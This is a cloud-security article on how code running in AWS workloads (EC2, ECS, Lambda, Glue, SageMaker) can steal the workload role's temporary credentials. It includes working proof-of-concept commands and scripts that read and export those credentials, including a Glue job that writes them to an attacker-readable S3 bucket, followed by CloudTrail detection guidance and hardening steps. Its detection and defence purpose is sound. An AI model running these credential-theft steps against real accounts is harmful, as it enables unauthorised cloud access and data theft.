Credential theft turns control of workload code into AWS API access that need not stay inside that workload. The stolen session carries the workload role’s effective permissions, not merely those of the identity that deployed the code. Requests remain subject to applicable policies and request context, but the source workload’s egress rules do not automatically constrain copied credentials on another host.[1][2]
The workload credential path
The credential source varies by runtime and configuration. The role identity does not change merely because credentials are copied, but the request’s network path can change.
flowchart LR
A([Attacker-controlled code]) --> W[AWS workload]
W --> E[EC2 IMDS]
W --> C[ECS task credential endpoint]
W --> L[Lambda runtime credential provider]
W --> G[Glue job credential provider]
W -->|Without network isolation| S[SageMaker training container]
E --> R(Temporary role session)
C --> R
L --> R
G --> R
S --> R
R --> X([Attacker access from elsewhere])
class A,X principal
class W,E,C,L,G,S awsResource
class R credential
| Workload | Credential source | Identity obtained |
|---|---|---|
| EC2 instance | Instance Metadata Service under iam/security-credentials/ |
Attached instance-profile role[3] |
| ECS task | Container credential endpoint in AWS_CONTAINER_CREDENTIALS_RELATIVE_URI |
Task IAM role[4][5] |
| Lambda function | Access-key environment variables in ordinary environments; container credential provider with SnapStart | Function execution role[6][7] |
| Glue Python shell job | Credentials for the IAM role configured on the job | Glue job role[8][9] |
| SageMaker training job | AWS SDK credential provider inside the training container when network isolation is disabled | Job execution role; isolation withholds container credentials[10][11] |
Lambda’s metadata endpoint returns the Availability Zone ID rather than role credentials.[12]
Conditions for session theft
The session is reusable when:
- The attacker can run or replace code in the workload.
- The workload has a role worth stealing.
- The code can reach the workload’s credential provider.
- The code can move the credentials out or immediately use them for another action.
The initial route into the workload depends on the service: a remote command on EC2, ECS Exec or a writable task definition, a Lambda code update, a writable Glue script in S3, or permission to create a SageMaker training job with a chosen role.
EC2 instance-profile credentials
EC2 exposes the attached instance-profile session through IMDS, so code already running on the instance can request an IMDSv2 token, discover the role name, and retrieve the complete renewable session.[3:1]
Run the EC2 proof of concept
This runs from the instance. It captures the returned session into a file, loads it as explicit environment credentials, and proves that the copied session signs an STS request:
TOKEN=$(curl --fail --silent --request PUT \
http://169.254.169.254/latest/api/token \
--header 'X-aws-ec2-metadata-token-ttl-seconds: 21600')
ROLE=$(curl --fail --silent \
--header "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl --fail --silent \
--header "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" \
> ec2-role-session.json
export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId ec2-role-session.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey ec2-role-session.json)
export AWS_SESSION_TOKEN=$(jq -r .Token ec2-role-session.json)
aws sts get-caller-identity
Although IMDSv2 rejects tokenless requests, code on the instance can obtain a token and complete the sequence; the final ARN then identifies the instance-profile role.
ECS task-role credentials
ECS uses a similar link-local endpoint and injects its relative path into the task; however, the task execution role used by the ECS agent remains a separate identity.[4:1][5:1]
Run the ECS proof of concept
This runs inside the target container. It saves the task-role response, loads that session explicitly, and identifies the role:
ENDPOINT="http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}"
curl --fail --silent "$ENDPOINT" > ecs-task-role-session.json
export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId ecs-task-role-session.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey ecs-task-role-session.json)
export AWS_SESSION_TOKEN=$(jq -r .Token ecs-task-role-session.json)
jq '{RoleArn, AccessKeyId, Expiration}' ecs-task-role-session.json
aws sts get-caller-identity
The endpoint response contains the secret and token needed to reuse the task role until its recorded expiration.
Lambda execution-role credentials
Ordinary Lambda execution environments expose the execution-role session through reserved access-key environment variables. With SnapStart enabled, Lambda instead uses a container credential provider; the access-key-variable model below does not apply to that configuration. Both use the function’s execution role.[6:1][7:1]
Run the Lambda proof of concept
The role must trust lambda.amazonaws.com. The caller needs lambda:CreateFunction, lambda:InvokeFunction, and iam:PassRole for that role:
cat > lambda_function.py <<'PY'
import os
def handler(event, context):
return {
"AccessKeyId": os.environ["AWS_ACCESS_KEY_ID"],
"SecretAccessKey": os.environ["AWS_SECRET_ACCESS_KEY"],
"Token": os.environ["AWS_SESSION_TOKEN"],
}
PY
zip -q function.zip lambda_function.py
aws lambda create-function \
--function-name role-session-export \
--runtime python3.13 \
--handler lambda_function.handler \
--role "$LAMBDA_ROLE_ARN" \
--zip-file fileb://function.zip
aws lambda wait function-active-v2 --function-name role-session-export
aws lambda invoke \
--function-name role-session-export \
--cli-binary-format raw-in-base64-out \
--payload '{}' lambda-role-session.json
jq . lambda-role-session.json
For an applicable environment and successful invocation, the returned credentials identify the function’s execution-role session. Their usable permissions can change before their recorded expiration.[1:1]
Glue job-role credentials
Glue Python shell code inherits the role configured on the job, and the example below uses that access to write the resolved session to an existing S3 location that the attacker can read.[8:1][9:1]
Run the Glue proof of concept
The job role needs access to the script URI and s3:PutObject on the output location. The caller needs to create and start the job and pass the role:
cat > glue_export.py <<'PY'
import json
import sys
import boto3
output_bucket = sys.argv[sys.argv.index("--OUTPUT_BUCKET") + 1]
credentials = boto3.Session().get_credentials().get_frozen_credentials()
boto3.client("s3").put_object(
Bucket=output_bucket,
Key="glue-role-session.json",
Body=json.dumps({
"AccessKeyId": credentials.access_key,
"SecretAccessKey": credentials.secret_key,
"Token": credentials.token,
}),
)
PY
SCRIPT_URI="s3://$SCRIPT_BUCKET/glue_export.py"
aws s3 cp glue_export.py "$SCRIPT_URI"
aws glue create-job \
--name role-session-export \
--role "$GLUE_ROLE_ARN" \
--command "Name=pythonshell,ScriptLocation=$SCRIPT_URI,PythonVersion=3.9" \
--default-arguments "{\"--OUTPUT_BUCKET\":\"$OUTPUT_BUCKET\"}" \
--max-capacity 0.0625
aws glue start-job-run --job-name role-session-export
On successful completion, the job writes its resolved temporary job-role session to s3://$OUTPUT_BUCKET/glue-role-session.json. A rerun demonstrates another opportunity to run under the configured role, not proof that a later session was issued.[8:2][9:2]
SageMaker execution-role credentials
SageMaker’s Python SDK @remote decorator stages local code, creates a training job, and returns the remote function result.[13] Without network isolation, training code can receive the execution role’s credentials. With isolation enabled, SageMaker supplies no AWS credentials to the container and blocks its outbound calls, including calls to S3. SageMaker still uses the role separately for service-managed S3 input and output; that activity is not evidence of container-originated API calls.[11:1]
Run the SageMaker proof of concept
The submitter needs sagemaker:CreateTrainingJob, iam:PassRole, and access to the SDK’s S3 staging locations. The returned value contains the session resolved inside the training container:
import json
import os
import boto3
from sagemaker.core.helper.session_helper import Session
from sagemaker.remote_function import remote
sagemaker_session = Session(
boto_session=boto3.Session(region_name=os.environ["AWS_REGION"])
)
@remote(
sagemaker_session=sagemaker_session,
role=os.environ["SAGEMAKER_ROLE_ARN"],
instance_type="ml.m5.xlarge",
dependencies="auto_capture",
)
def export_role_session():
import boto3
credentials = boto3.Session().get_credentials().get_frozen_credentials()
return {
"AccessKeyId": credentials.access_key,
"SecretAccessKey": credentials.secret_key,
"Token": credentials.token,
}
print(json.dumps(export_role_session(), indent=2))
If the remote function completes and its result is returned, the local print contains the credential material resolved inside that training container.
Renewal extends the access
Copied credentials may remain usable from another host until expiration, but requests can be denied sooner by applicable policy changes. Source security groups, private-subnet placement, and egress rules do not follow the credentials. An endpoint policy constrains requests through that endpoint, not requests made elsewhere.[1:2][2:1]
Session expiry alone does not establish that a compromised workload is contained. EC2 automatically supplies replacement credentials while the role remains attached.[3:2] Other runtimes have their own credential lifecycles; neither a new Lambda invocation nor a Glue rerun proves a new session was issued. Lambda can reuse an existing execution environment.[14] Denying sessions issued before a cutoff also leaves later sessions outside that cutoff, so the compromised source must be remediated as well.[15]
For access reviews, code-update and workload-submission permissions warrant the same scrutiny as direct role access: a principal that cannot assume a workload role may still control code that runs as it.
Correlating code control with role activity
Correlate code changes or remote-execution events with later activity by the workload role. Investigate departures from the workload’s normal behavior after it runs.
| Event source | Event name | Detection value |
|---|---|---|
lambda.amazonaws.com |
CreateFunction20150331 |
Records a function-creation request pairing code with an execution role; confirm function state separately. |
lambda.amazonaws.com |
UpdateFunctionCode20150331v2 |
Records a code-update request, not completed deployment or execution.[16][17] |
ecs.amazonaws.com |
RegisterTaskDefinition, RunTask, ExecuteCommand |
Records task definitions, launch requests, or remote-command requests; runtime evidence establishes execution. |
glue.amazonaws.com |
CreateJob, UpdateJob |
Records requested job-definition, script-location, or role changes, not a job run.[18] |
ssm.amazonaws.com |
SendCommand |
Records command submission and targeting, not delivery to or execution on an EC2 managed node.[19][20] |
sagemaker.amazonaws.com |
CreateTrainingJob |
Records a training-job submission with a selected role, not proof that container code ran. |
The Lambda event can connect the actor and function to the execution role and package codeSha256 digest. The digest identifies the submitted artifact rather than proving deployment or execution:[16:1][17:1]
{
"eventSource": "lambda.amazonaws.com",
"eventName": "UpdateFunctionCode20150331v2",
"userIdentity": { "arn": "<deployment identity ARN>" },
"sourceIPAddress": "<source IP>",
"requestParameters": { "functionName": "<function name>", "publish": false },
"responseElements": { "role": "<execution role ARN>", "codeSha256": "<digest>" }
}
An update response without errorCode is evidence of an accepted request. Confirm that LastUpdateStatus is Successful; State: Active alone is insufficient because the function can remain active while an update is in progress or has failed. Invocations continue using the previous code and configuration until the update completes. Establish execution of the updated code separately from deployment completion and from downstream API success.[21] For SSM, use per-node invocation status and host evidence to assess delivery and execution; even a command status of Success is not by itself proof that the intended command ran.[20:1]
Use event time to correlate the accepted request with deployment completion, workload execution, and later role activity. Start with the observed lifecycle; if those states are unavailable, choose an initial horizon from local deployment or job-start delays and logging latency. Revisit correlations as late or out-of-order events arrive, and extend them when lifecycle evidence or credible session activity continues. This is an investigative horizon, not an exposure bound.
A matching role ARN and time identify candidate activity, not a unique workload: concurrent workloads can share the role. Require service-specific session or workload evidence for attribution, and retain uncertainty when it is absent; no universal job-to-session field is guaranteed.[22] Compare source network, Region, user agent, services, and resources with the workload baseline, accounting for approved deployment identities and release windows rather than suppressing all activity from the role.
IMDS reads produce neither CloudTrail management events nor ordinary VPC Flow Logs records. Host or runtime evidence can establish metadata access; flow logs can still help examine subsequent ordinary egress.[23] Downstream API visibility depends on service coverage and collection: Lambda invocation and S3 object activity require the relevant data-event logging. Missing events do not establish that no activity occurred.[17:2][24]
Closing the credential path
- Give workload roles only the permissions their code needs. Stolen credentials cannot exceed the role’s effective permissions.
- Treat code-update and workload-submission permissions as access to the workload role, and restrict them accordingly.
- Require IMDSv2 on EC2 and set an appropriate response hop limit. This reduces several remote and container-to-host paths, but it is not a boundary against code already running on the instance.
- Restrict workload egress when the workload does not need arbitrary outbound access, but assess destination authorization separately. Source egress and endpoint controls do not restrict every use of copied credentials.[2:2]
- Enable SageMaker network isolation where compatible: it withholds container credentials and blocks outbound calls, while service-managed S3 I/O still uses the execution role separately.[11:2]
- Remove unnecessary role chaining so a stolen workload session cannot assume a second, more privileged role.
Containment has separate outcomes: remove the compromised entry point and malicious workload code or control; stop or remediate existing unauthorized workloads and prevent further credential issuance; and deny already-issued compromised sessions. Restricting future deployment or iam:PassRole permissions alone does not neutralize current workloads, because role passing generally occurs at setup rather than on each service assumption.[25]
Applicable permission changes can deny requests signed with existing temporary credentials, and role-session revocation denies sessions issued before its cutoff. Account for policy propagation and later-issued sessions; an accepted policy change or stopped workload is not proof that all copied credentials are unusable.[1:3][15:1]
References
AWS Identity and Access Management User Guide, Controlling permissions for temporary security credentials. ↩︎ ↩︎ ↩︎ ↩︎
Amazon VPC User Guide, Control access to VPC endpoints using endpoint policies. ↩︎ ↩︎ ↩︎
Amazon EC2 User Guide, Retrieve security credentials from instance metadata. ↩︎ ↩︎ ↩︎
Amazon ECS Developer Guide, Amazon ECS task IAM role. ↩︎ ↩︎
AWS SDKs and Tools Reference Guide, Container credential provider. ↩︎ ↩︎
AWS Lambda Developer Guide, Defined runtime environment variables. ↩︎ ↩︎
AWS Lambda Developer Guide, Activating and managing Lambda SnapStart: credentials. ↩︎ ↩︎
AWS Glue Developer Guide, Configuring job properties for Python shell jobs. ↩︎ ↩︎ ↩︎
AWS Glue Developer Guide, Review IAM permissions needed for ETL jobs. ↩︎ ↩︎ ↩︎
Amazon SageMaker AI Developer Guide, How to use SageMaker AI execution roles. ↩︎
Amazon SageMaker AI Developer Guide, Run training and inference containers in internet-free mode. ↩︎ ↩︎ ↩︎
AWS Lambda Developer Guide, Using the Lambda metadata endpoint. ↩︎
Amazon SageMaker AI Developer Guide, Run your local code as a SageMaker training job. ↩︎
AWS Lambda Developer Guide, Understanding the Lambda execution environment lifecycle. ↩︎
AWS Identity and Access Management User Guide, Revoke IAM role temporary security credentials. ↩︎ ↩︎
detection.wiki, AWS Lambda CloudTrail event catalog, UpdateFunctionCode event and sample. ↩︎ ↩︎
AWS Lambda Developer Guide, Logging AWS Lambda API calls using CloudTrail. ↩︎ ↩︎ ↩︎
detection.wiki, AWS Glue CloudTrail event catalog, AWS Glue events. ↩︎
detection.wiki, AWS Systems Manager CloudTrail event catalog, SendCommand event and sample. ↩︎
AWS Systems Manager User Guide, Understanding command statuses. ↩︎ ↩︎
AWS Lambda Developer Guide, Lambda function states. ↩︎
AWS CloudTrail User Guide, CloudTrail userIdentity element. ↩︎
Amazon VPC User Guide, Flow log limitations. ↩︎
Amazon S3 User Guide, Amazon S3 CloudTrail events. ↩︎
AWS Identity and Access Management User Guide, Granting permission to pass a role to an AWS service. ↩︎